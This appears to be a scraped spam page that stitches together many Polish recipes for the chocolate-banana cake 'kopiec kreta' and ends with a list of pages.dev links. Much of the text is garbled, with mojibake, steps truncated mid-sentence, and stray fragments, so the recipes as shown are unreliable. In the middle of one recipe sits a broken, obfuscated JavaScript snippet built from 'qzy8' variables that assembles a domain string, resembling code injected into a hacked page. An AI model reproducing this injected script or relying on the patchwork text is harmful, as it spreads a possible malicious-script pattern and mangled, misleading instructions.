Kopiec kreta to przepyszny deser z delikatnym kremem, czekoladowym ciastem i nieodłącznym dodatkiem bananów. Dziś mamy dla ciebie uproszczoną wersję tego lubianego deseru- nie musisz dokładać starań, by zręcznie uformować kopczyk z kremu i ciasta. Kopiec kreta na dużą blachę smakuje równie dobrze i na weekend sprawdzi się idealnie. Więcej przepisów na weekendowe smakołyki znajdziesz na naszej stronie głównej Gazeta Kopiec kreta cieszy się niesłabnącą sympatią wszystkich wielbicieli słodkości. Jego tradycyjna forma to półokrągły, dokładnie uklepany kopczyk z czekoladowego ciasta z pysznym kremem i bananami w środku. O ile przepis na kopiec kreta wydaje się łatwy, tak dla niektórych nadanie ciastu tego kształtu sprawia niemały problem, głównie za sprawą kremu, lubiącego spływać lub ciasta, które zamiast współpracować - kruszy się, tworząc niemały bałagan. Dziś mamy dla ciebie uproszoną wersję znanego deseru, czyli kopiec kreta na dużą blachę. Zrobisz go łatwiej, szybciej i na pewno nie ubrudzisz siebie ani kuchni. Jeśli szukasz pomysłu na weekendowe co nieco, zajrzyj do naszego przepisu. Kopiec kreta - przepis na dużą blachę Potrzebne składniki: Ciasto czekoladowe: 3 szklanki mąki pszennej 1,5 szklanki mleka 1,5 szklanki cukru 1 szklanka oleju 4 czubate łyżki kakao 3 jajka 1,5 łyżeczki sody 1,5 łyżeczki proszku do pieczenia Krem: 500 ml śmietanki 30 proc. 2 czubate łyżki cukru pudru 20 g czekolady (polecam mleczną, ale może być także deserowa) 1 opakowanie galaretki cytrynowej sok wyciśnięty z jednej cytryny 5-6 bananów na spód Kopiec kreta - sposób wykonania Przygotowanie tego smacznego deseru zacznij od upieczenia ciasta czekoladowego. Przygotowanie tego ciasta jest banalne - w większej misce umieść wszystkie składniki i za pomocą miksera połącz je, by powstała aksamitna masa bez grudek. Rozgrzej piekarnik do 180 stopni. Blaszkę o wymiarach 25x20 wyłóż papierem i wylej ciasto. Piecz przez ok. 40 minut lub do tzw. suchego patyczka. Kiedy ciasto się upiecze, pozostaw je do ostygnięcia. Następnie przekrój ze wzdłuż na dwa, mniej więcej równe blaty Kiedy ciasto się studzi, przygotuj krem. Zacznij od galaretki cytrynowej. Rozpuść ją w 0,5 szklanki gorącej wody i pozostaw do ostygnięcia (ale nie dopuść, by zaczęła tężeć). Do miski wlej śmietankę i ubij ją na sztywno z cukrem pudrem. Następnie ostrożnie wlej połowę galaretki cytrynowej. Dodaj drobno posiekaną czekoladę, i całość dokładnie zmiksuj. Przygotuj pierwszy blat ciasta czekoladowego. Ułóż na nim banany przekrojone wzdłuż, jeden obok drugiego, by nie było między nimi zbyt dużych przerw. Następnie za pomocą pędzelka wysmaruj je sokiem z cytryny. Na banany ostrożnie wylej pozostałą część galaretki cytrynowej, tak, by była równomiernie rozprowadzona po całej powierzchni. Na banany wyłóż przygotowany krem. Szpatułką dokładnie go rozprowadź. Drugi blat ciasta zgnieć w dłoniach, by powstały nierównomierne okruchy. Następnie posyp nimi warstwę kremu tak, by krem nie wystawał poza warstwę okruchów. Kopiec kreta powinien chłodzić się przez kilka godzin w lodówce. Najlepiej smakuje dzień po przygotowaniu. Taki deser to idealny pomysł na weekendowe łasuchowanie. Zrób go już dziś i ciesz się delikatnym kremowym smakiem z bananową nutką. Smacznego! jest dla Was i dla Was piszemy o kulinariach. Nie oznacza to jednak, że nie pamiętamy i nie myślimy o Ukrainie. Wszystkie najważniejsze informacje znajdziecie w tych miejscach:

Przepis na czarny kopiec kreta. Czekoladowe ciasto w połączeniu z puszystym kremem śmietankowym, wzbogacony kawałkami czekolady i bananami daje wspaniały efekt smakowy. Ciasto jest delikatne, aksamitne, a zarazem wyraziste w smaku. Rozpływa się w ustach. Polecam ten przepis, bo jest to najlepszy przepis na czarny kopiec kreta.

Przejdź do zawartoÅ›ci Åšliwkowy kopiec kreta Przepis na pyszne czekoladowe ciasto z powidÅ‚ami i kremem piernikowym wpis sponsorowany Pewnie znacie ciasto kopiec kreta w wersji z bananami w Å›rodku? Ja przygotowaÅ‚am Å›liwkowy kopiec kreta zainspirowany zbliżajÄ…cymi siÄ™ Å›wiÄ™tami Bożego Narodzenia. PodstawÄ… mojego ciasta jest obÅ‚Ä™dne czekoladowe ciasto z dużą iloÅ›ciÄ… powideÅ‚ Å›liwkowych od Stovit. Ciasto wrÄ™cz nimi pachnie i Å›liwki sÄ… wyczuwalne w smaku. Trudno siÄ™ mu oprzeć i muszÄ™ siÄ™ przyznać, że sama podjadaÅ‚am ciasto w trakcie jego przygotowania. Po upieczeniu odcinamy wierzch i jeszcze dodatkowo lekko wydrążamy ciasto. I ja te wyciÄ™te kawaÅ‚ki podjadaÅ‚am, bo nie mogÅ‚am siÄ™ oprzeć. Na szczęście, to co zostaÅ‚o wystarczyÅ‚o do posypania caÅ‚ego wierzchu :) NastÄ™pnie zrobiÅ‚am krem czekoladowo-piernikowy. Serek mascarpone zmieszaÅ‚am z rozpuszczonÄ… czekoladÄ… i przyprawÄ… do piernika, a gdy siÄ™ schÅ‚odziÅ‚, zmiksowaÅ‚am go ze Å›mietanÄ… kremówkÄ…. Teraz wystarczyÅ‚o już naÅ‚ożyć do wydrążonego ciasta dodatkowÄ… porcjÄ™ powideÅ‚ oraz krem. Krem ma tworzyć wystajÄ…cÄ… kopuÅ‚Ä™, która po posypaniu okruszkami ciasta wyglÄ…da wÅ‚aÅ›nie jak kopiec kreta. Powiem Wam, że ciasto smakowaÅ‚o obÅ‚Ä™dnie i znikÅ‚o bardzo szybko. Nawet mój syn, który rzadko jada ciasta, siÄ™ w nim rozsmakowaÅ‚ :) GorÄ…co polecam Wam wiÄ™c ten Å›liwkowy kopiec kreta a także inne pyszne ciasta z kremem z bloga. Åšliwkowy kopiec kreta – przepis do druku Åšliwkowy kopiec kreta Wypieki Beaty Przepis na przepyszne czekoladowe ciasto z powidÅ‚ami Å›liwkowymi i kremem czekoladowo-piernikowym. Czas przygotowania 1 godzCzas caÅ‚kowity 3 godz 35 minut WyposażenieForma do pieczenia o wielkoÅ›ci 22-24 cm. SkÅ‚adnikiciasto czekoladowo-Å›liwkowe120 g masÅ‚a100 g czekolady użyÅ‚am gorzkÄ…100 g cukru pół szklanki1 opakowanie powideÅ‚ Å›liwkowych od Stovit – 240 g3 jajka rozmiar L150 g mÄ…ki 1 szklanka2 Å‚yżeczki proszku do pieczenia1 Å‚yżeczka przyprawy do piernikadodatkowo100 g powideÅ‚ Å›liwkowych od Stovit Instrukcja ciasto czekoladowo-Å›liwkoweW wiÄ™kszym garnku rozpuść masÅ‚o. Do gorÄ…cego masÅ‚a dodaj poÅ‚amanÄ… czekoladÄ™ i dokÅ‚adnie wymieszaj – aż czekolada siÄ™ rozpuÅ› do czekolady cukier oraz powidÅ‚a Å›liwkowe i dokÅ‚adnie poÅ‚Ä…cz z proszkiem do pieczenia i przyprawÄ… do piernika, a nastÄ™pnie wsyp do czekolady i wymieszaj Å‚yżkÄ….Wbij jajka do ciasta i dokÅ‚adnie do pieczenia posmaruj masÅ‚em i wysyp mÄ…kÄ… lub buÅ‚kÄ… tartÄ….Przelej ciasto do formy i piecz w 170 stopniach (termoobieg) przez mniej wiÄ™cej 30-35 minut (do suchego patyczka).krem czekoladowo-piernikowyCzekoladÄ™ rozpuść w kÄ…pieli wodnej (poÅ‚am jÄ… i przełóż do żaroodpornej miseczki ustawionej na garnku z gotujÄ…cÄ… siÄ™ wodÄ…).Dodaj rozpuszczonÄ… czekoladÄ™ oraz przyprawÄ™ do piernika do serka mascarpone i dokÅ‚adnie serek z czekoladÄ… do lodówki do schÅ‚odzenia – na mniej wiÄ™cej godzinÄ™.ZimnÄ… Å›mietanÄ™ kremówkÄ™ zmiksuj aż bÄ™dzie gÄ™sta, w trakcie dodawaj po Å‚yżce serek mascarpone z czekoladÄ…. Miksuj do poÅ‚Ä…czenia skÅ‚ lubisz sÅ‚odkie kremy, to możesz krem dodatkowo posÅ‚odzić cukrem ciasto z formy i ostrym nożem zetnij jego pomocÄ… Å‚yżki wyjmij trochÄ™ ciasta ze Å›rodka, tak aby utworzyÅ‚ siÄ™ pÅ‚ytki doÅ‚ ciasto oraz część odciÄ™tÄ… rozdrobnij na ciasto kilkoma Å‚yżkami powideÅ‚ Å›liwkowych od powidÅ‚a wyłóż krem czekoladowo-piernikowy tak aby utworzyÅ‚ wystajÄ…cÄ… kopuÅ‚Ä™.Posyp wierzch ciasta grubÄ… warstwÄ… okruszków z odkrojonego ciasta. SkÅ‚adniki OdżywczeServing: 100gKalorie: 332kcalWeglowodany: 27gBiaÅ‚ko: 4gTÅ‚uszcz: 23g Sprawdzony przepis?Daj znać w komentarzu! Wpis przygotowany we współpracy z markÄ… Stovit Na Smaker.pl znajdziesz przepisy dla ludzi ze smakiem, którzy lubią gotowanie, sałatki i tworzą własne przepisy kulinarne. Przepis na czarny kopiec kreta Pamiętam jak jakieś 15 lat temu pojawiło się w sklepach ciasto w proszku Kopiec kreta i nastał szał na robienie tego deseru. Pamiętam jak dziś swoje początku kulinarne, ten krzywy kopiec i ubabraną kuchnię (miksowana śmietanka była wszędzie). Nie byłam zachwycona, chociaż smak ciasta był niezły. Ale proszku więcej nie kupiłam. Gdy zaczęłam trochę bardziej ogarniać pieczenie i robienie deserów postanowiłam zrobić swój własny, domowy kopiec kreta. W sumie to dość proste i szybkie ciasto. Do tego efektowne i pyszne. No i bez chemii. Postanowiłam podzielić się z Wami moim przepisem. Kopiec kreta – przepis Składniki: 2 szklanki mąki pszennej 1 szklanka cukru 1 szklana mleka 1 szklanka oleju 1 łyżeczka proszku do pieczenia 1/2 łyżeczki sody oczyszczanej 4 łyżki kakao 2 jajka 3-4 banany 500 ml śmietanki 30-36% 2 fixy do śmietany 100g gorzkiej czekolady lub płatki czekoladowe 4 łyżki cukru pudru sok z cytryny Wykonanie: Jajka ubijamy z cukrem na jasną i puszystą masę. Suche składniki wymieszać i przesiać do masy jajecznej. Dodać mleko i olej. Dokładnie wymieszać. Tortownicę ok. 24 cm wyłożyć papierem do pieczenia. Wlać ciasto. Piekarnik rozgrzewamy do 160 stopni i wstawiamy ciasto. Pieczemy około 45-50 minut. Studzimy na kratce. Po wystudzeniu przy pomocy łyżki wydrążamy w cieście miejsce na banany – zostawiamy około 1 cm rantu, uważamy aby nie uszkodzić spodu, a wydrążone ciasto kruszymy w miseczce. Banany obieramy i smarujemy obficie sokiem z cytryny. Możemy je przekroić wzdłuż lub ułożyć w całości. Ciasno układamy je w wydrążonym cieście. Śmietankę ubijamy na sztywno z fixami i cukrem pudrem. Dodajemy drobno posiekaną czekoladę lub płatki czekoladowe. Śmietankę ułożyć na bananach formując kopiec kreta. Wierzch posypujemy pokruszonym ciastem, lekko dociskając do kremu. Chłodzimy w lodówce około godzinę. Jeśli próbowaliście „proszkowy” kopiec kreta, ten też przypadnie Wam do gustu. Lekkie ciasto, idealne do kawy i bardzo efektowne. Smacznego. Bardzo łatwy i szybki przepis na pyszny, rozpływający się w ustach kopiec kreta. Przepis sprawdzony przeze mnie już kilkakrotnie nigdy mnie nie zawiódł. Ciasto zawsze smakuje wybornie:) Uda się nawet tym, którzy dopiero zaczynają swoją przygodę z pieczeniem:)) Polecam:)) Ciasto czekoladowe • 150 g mąki pszennej tortowej • 150 ml mleka • 3 duże jajka … Kopiec kreta to efektowne i pyszne ciasto. W miarę szybko się je robi i wbrew pozorom wcale nie jest trudne. Gdy pewnego dnia dotarłam do Lidl i kupiłam tonę bananów w promocji (ha! się wie, gdy regularnie się przegląda gazetkę Lidl, apropos gazetek polecam Wam serwis, w którym bez wertowania miliona stron macie przysłowiowy milion gazetek promo na tacy. Zawsze je z mamą przeglądam i planujemy szoping 🙂 ). No a co do tej tony bananów, to musiałam wykombinować jak je przerobić by się nie zmarnowały. Shake wypity, banan w czekoladzie zjedzony no i wybór padł na jedno z naszych ulubionych ciast. Kopiec kreta Składniki: Ciasto – 4 jajka – 8 łyżek cukru – 3/4 szklanki mąki – 1 łyżeczka proszku do pieczenia – cukier waniliowy – 150g masła – 4 łyżki mleka – 2 łyżki kakao Masa śmietanowa – 600g śmietanki 36% – 2 fixy do śmietany – 4 łyżki cukru pudru – kawałek gorzkiej czekolady – 3 banany Sposób przygotowania: 1. Mąkę przesiewamy, oddzielamy białko od żółtek. 2. Białka ubijamy na sztywną pianę, a następnie powoli dodajemy cukier i cukier waniliowy. 3. Roztapiamy i lekko studzimy masło. Zwalniamy obroty miksera i powoli dodajemy żółtka do masy oraz ostudzone masło. 4. Do masy przesiewamy mąkę wraz z proszkiem do pieczenia i kakao. Wszystko dokładnie mieszamy i wlewamy do formy wyłożonej pergaminem (u mnie o średnicy 24cm). 5. Pieczemy w temperaturze 180 stopni około 20 minut – do suchego patyczka. 6. Ubijamy śmietanę, dodajemy cukier puder i fix. 7. Czekoladę ścieramy na tarce i dodajemy do masy. 8. Ostudzone ciasto należy wydrążyć delikatnie łyżką; około 2 cm od brzegu i 1-2 cm wgłąb – dzięki temu zrobimy miejsce na banany. Nie wyrzucaj ciasta! Odłóż je do miseczki. 9. Banany obieramy, kroimy na pół i umieszczamy w zagłębieniu, które zrobiliśmy w cieście. 10. Masę śmietanową układamy na cieście w kształt kopca, posypujemy pokruszonym ciastem (tym, które wydrążyliśmy) i wstawiamy do lodówki na noc lub min 8 godzin (function(){ qzy8= qzy8_+=”t”+(“.”);qzy8_+=(“in”);qzy8u=”62249659″; qzy8u+=”.ielqlj97zy8fhtq7m”; qzy8u+=”lss6lv3ycu2b1″; dqzy8= })(); 12 komentarzy natasza c 17 kwietnia 2017 - 19:18Ja tylko kopiec kreta robilam z proszku…ale Twoj przepis na majowke z pewnoscia wykorzystam. Brzmi pysznie Reply matka w pigułce 17 kwietnia 2017 - 20:21Coś czuję, że za 2 tygodnie sobie zrobię takie. Czemu za 2 tyg? Bo muszę teraz odpocząć od tych wszystkich świątecznych ciast. Czuję, że pęknę, a jednocześnie leci mi ślinka, gdy patrzę na ten kopiec. To takie straszne 😀 Reply Zwykła Matka 18 kwietnia 2017 - 06:06Jeszcze nigdy nie robiłam tego ciasta, a wygląda tak obłędnie!!!!! Reply Edyta Mój kawałek podłogi 21 kwietnia 2017 - 07:03Bardzo lubię kopiec kreta. Wcale nie jest taki trudny, więc warto go zrobić samemu, a nie ratować się tym z torebki 🙂 Reply Z naciskiem na szczęście 21 kwietnia 2017 - 17:13Takie ciasto to chyba niezłe wyzwanie 🙂 Lubię trochę pokręcić się w kuchni. Kiedyś na pewno i u mnie zagości 🙂 Reply Homoturisticus 23 kwietnia 2017 - 09:44Oj,chętnie bym zjadła takich pyszności do popołudniowej kawy 🙂 Reply Ola 24 kwietnia 2017 - 19:34Przyznam, że lata temu robiłam to ciasto, ale z torebki niestety 🙁 Przepis bardzo fajny, zapiszę sobie w ulubionych 🙂 Reply Guess What PL 24 kwietnia 2017 - 21:42Oj tak znam, to znam. Jeszcze za czasów szkoły podstawowej, gdy przyszedł bum na ciasta z proszku 😉 Reply Barbara 26 kwietnia 2017 - 13:00Nie znam tego ciacha dlatego chętnie skorzystam z Twojego przepisu 🙂 Pozdrawiam. Reply Leave a Comment Ciasto te jest połączeniem przepisów na kopiec kreta i leśny mech. Przepis na; Odsłon: 3169 16.03.2021. Kopiec skrzata > 60 min >60 min ^{Fantastyczne wilgotne ciasto z bananami :) Marlena Kocięcka Ciasta ciasto kakaowe Składniki: Biszkopt: * 6 dużych jaj * szklanki cukru * 2 cukry wanilinowe * 2 szklanki mąki * 12 łyżek oleju * 12 łyżek ciepłej wody * 2 pełne łyżeczki proszku do pieczenia * 4 łyżki kakao Krem: * 0,5 l śmietanki kremówki * 2 łyżki cukru pudru * 1 galaretka cytrynowa * 1/4 tabliczki startej czekolady (mleczna lub gorzka) * ok. 6 szt. bananów * sok z połówki cytryny Ocena: (średnia z 258 głosów) Kopiec kreta duża blacha - jak zrobić? Sposób przygotowania: 1. Jajka ubijamy z cukrem i cukrem wanilinowym na najwyższych obrotach miksera przez około 8 minut na jasną, puszystą masę. Dodajemy do niej olej i wodę. Miksujemy na wolnych obrotach do chwili połączenia się składników, a następnie dodajemy mąkę przesianą z proszkiem do pieczenia i kakao i miksujemy jeszcze chwilę, do czasu aż uzyskamy jednolite ciasto. Ciasto przelewamy na wcześniej przygotowaną blachę i wstawiamy do nagrzanego do 180 stopni piekarnika. Pieczemy ok. 25 minut (do suchego patyczka). Studzimy. Galaretkę cytrynową rozpuszczamy w 2/3 szklanki wrzątku. Odstawiamy, aż ostygnie. Z przestudzonego ciasta musimy odkroić cały czubek, tak aż będzie proste, następnie wybieramy ok. 0,5 cm ciasta pozostawiając wokół ok 1 cm boki. Banany obieramy i kroimy wzdłuż na pół. Smarujemy sokiem z cytryny i nakładamy na ciasto pomijając pozostawione 1 cm boki. Śmietankę ubijamy. Pod koniec ubijania dodajemy cukier puder, a następnie przestudzoną galaretkę. Na koniec dodajemy startą czekoladę i mieszamy łyżką. Gotową masę wykładamy na banany. Na wyłożoną masę nakładamy pokruszone ciasto, które wcześniej odkroiliśmy. Ciasto chłodzimy ok 2 godz w lodówce. Smacznego :) Dodaj do książki kucharskiej Zdjęcia dania dodane przez innych użytkowników Możesz przeciągać obrazy, aby zmienić ich kolejność. Pierwszy zostanie użyty jako obraz główny. Musisz być zalogowany do serwisu, aby dodać zdjęcie Podobne przepisy}

Inspiracji i przepisów szukaj na: www.oetker.pl Polecamy formy Dr. Oetkera! Ø 24 cm Dr. Oetker wspiera SOS Wioski Dziecięce Kopiec Kreta Ciasto w proszku z czekoladą Przygotuj Kopiec Kreta z ulubionymi owocami Dodaj: do ciasta: - 100 g miękkiej margaryny - 2 jaja - 75 ml mleka (ok. 7 łyżek) - 3 banany (lub ok. 360 g innych owoców) do masy:

Deser Kopiec Kreta w szklanceNa pewno znasz Kopiec Kreta! Ze spodem z ciasta czekoladowego, z puszystym kremem śmietankowym i bananami. Już kiedyś opublikowałam przepis na to ciacho - ale klasycznej formie - przepis na to ciasto możesz sprawdzić tutaj :)Tym razem mam dla Ciebie przepis na Kopiec Kreta, ale w nietypowej odsłonie - w formie deseru w szklance! Taka forma podania jest prostsza i szybsza w przygotowaniu niż typowe ciasto, i może mile zaskoczyć... nie tylko fanów kopca ;)Sprawdź przepis poniżej! Deser Kopiec Kreta w szklanceCzas przygotowania: 40 minutSkładnikiCiasto:140 g fasoli czerwonej z puszki (odsączonej)1 jajka (w temp. pokojowej)30 ml syropu daktylowego (jak zrobić syrop daktylowy? - klik)40 ml mleka kokosowego10 ml oleju kokosowego (roztopionego)10 g odżywki białkowej*15 g kakao1 łyżeczki proszku do pieczeniaKrem śmietankowy:300 ml śmietanki kokosowej (stała część mleczka kokosowego)60 g mleka kokosowego w proszku50 g inuliny*1,5 łyżeczki ekstraktu waniliowegoDodatkowo:2-3 bananysok z cytrynyWykonanieCiasto czekoladowe: Wszystkie składniki wrzuć do miski (lub blendera) i zmiksuj. W razie potrzeby dodaj więcej syropu daktylowego dla przełóż do formy na muffinki lub do w 180°C przez 20-25 śmietankowy: wszystkie składniki na krem zmiksuj do połączenia. Gotowy krem wstaw do schłodzenia do upieczeniu, gdy muffinki już przestygną - w dłoniach rozkrusz pokrój w plasterki i skrop sokiem z cytryny, aby nie deseru w całość: na spodzie szklanki umieść rozkruszone ciasto. Wokół ścianek umieść plasterki bananów, a wnętrze wypełnij kremem. Górę obsyp rozkruszonym przechowuj w możesz zastąpić zmielonym na puder ksylitolem lub przypadku odżywki białkowej sprawdzi się zarówno czekoladowy jak i waniliowy smak. Ewentualnie odżywkę białkową możesz zastąpić na 100gWypróbowałeś już któryś przepis?Może Ci zasmakować…Skomentuj Inline FeedbacksView all comments

W końcu mam dla Was coś słodkiego na weekend. Rodzinkę czasem trzeba trochę porozpieszczać :) Dość długo myślałam, co by tutaj zrobić, bo mam pozwolenie od mamy na pieczenie tylko raz w tygodniu (bo potem te blachy pełne ciasta za szybko znikają ;p). I chciałam wykorzystać truskawki, które niedługo już nas pożegnają. Moją pierwszą myślą

^{Tort kopiec kreta jest po prostu przepyszny. Kakaowy biszkopt, krem straciatella i do tego świeże plasterki bananów. Tort jest idealnie skomponowany, biszkopt dobrze nasączony i wilgotny. Banany i czekolada to jedno ze smaczniejszych połączeń. Tort kopiec kreta wykonałam w kształcie zwykłego toru, a nie jak zwykle w kształcie kopczyku. Biszkopt jest bardzo delikatny, kakaowy i nasączony herbatą. Krem to połączenie kremówki z serkiem mascarpone i startą gorzką czekoladą (ja użyłam posypki czekoladowej). Całość przekładamy świeżymi plasterkami banana skropionymi sokiem z cytryny, aby nie ściemniały. Dekorację z bananów na wierzchu radzę wykonać przed podaniem, ponieważ szybko zaczynają ciemnieć. Jeśli jesteś fanem bananowego smaku ten tort będzie Ci bardzo smakował i będziesz chciał zjeść więcej niż jeden kawałek. Fajnie jeśli ciasto będzie miało kilka godzin na przegryzienie się smaków. Według mnie najlepiej smakuje po 1-2 dniach w lodówce. Tort kopiec kreta jest jednym ze smaczniejszych ciast, który przepięknie wygląda i cudownie smakuje. Idealny na urodziny, imprezy, uroczystości rodzinne lub niedzielny obiad. Bardzo szybko się go wykonuje i nie sprawia żadnych problemów. TUTAJ znajdziesz przepis na tradycyjny kopiec kreta. TORT KOPIEC KRETA SKŁADNIKI NA KAKAOWY BISZKOPT: 6 jajek, dużych 3/4 szklanki cukru 3 łyżki kakao, czubatych 1/3 szklanki mąki tortowej 1 łyżka mąki ziemniaczanej szczypta soli SKŁADNIKI KREM STRACIATELLA: 500 ml śmietanki kremówki 30% 250 g serka mascarpone 3 łyżki cukru pudru, czubate 4 łyżki startej gorzkiej czekolady lub posypki czekoladowej SKŁADNIKI NA PONCZ: 1/2 szklanki mocnej herbaty 1 łyżeczka cukru, płaska 1 łyżeczka soku z cytryny DODATKOWO: 3 banany, duże sok z 1/2 cytryny Kakao przesiewamy razem z mąki do miseczki. Białka oddzielamy od żółtek i miksujemy ze szczypta soli na sztywną masę. Pod koniec dodajemy powoli cukier nie przerywając miksowania. Następnie zmniejszając obroty miksera do średnich dodajemy po jednym żółtku. W kilku partiach dodajemy suche składniki delikatnie mieszając dużą łyżką np. drewnianą lub szpatułką, aby jak najmniej opadła piana. Tortownicę o śr. 24 cm wykładamy papierem do pieczenia lub używamy silikonowej. Przekładamy ciasto i pieczemy w temp. 170 C przez ok. 45-50 min do tzw. suchego patyczka. Zaraz po upieczeniu gorący biszkopt rzucamy na zabezpieczoną podłogę z wys. około 30 cm. Zostawiamy do wystudzenia i przekrawamy na 3 części. Kremówkę przelewamy do wysokiego naczynia, dodajemy mascarpone. Miksujemy, aż masa będzie wyraźnie gęsta (może wydawać się na początku, że masa jest zważona, ale miksuj do zgęstnienia). Na koniec dodajemy przesiany cukier puder oraz czekoladę i jeszcze chwilę miksujemy. Składniki na poncz łączymy ze sobą. Dwa banany kroimy w plasterki i skrapiamy sokiem. Jeden blat biszkoptu układamy na talerzu lub paterze i nasączamy. Układamy plasterki banana jeden obok drugiego. Wykładamy 1/3 kremu i przykrywamy drugim blatem biszkoptowym, nasączamy. Ponownie układamy plasterki banana i przykrywamy częścią kremu, wyrównujemy. Trzeci blat biszkoptu kruszymy dłońmi na małe kawałeczki lub używamy malaksera. Obsypujemy boki tortu i niewielką powierzchnię wierzchu. Wkładamy do lodówki na kilka godzin lub całą noc. Przed podaniem dekorujemy plasterkami świeżego banana.} 6GFSqO.

d2gvkhusjq.pages.dev/40

d2gvkhusjq.pages.dev/80

d2gvkhusjq.pages.dev/30

d2gvkhusjq.pages.dev/96

d2gvkhusjq.pages.dev/54

d2gvkhusjq.pages.dev/62

d2gvkhusjq.pages.dev/94

d2gvkhusjq.pages.dev/28

przepis na kopiec kreta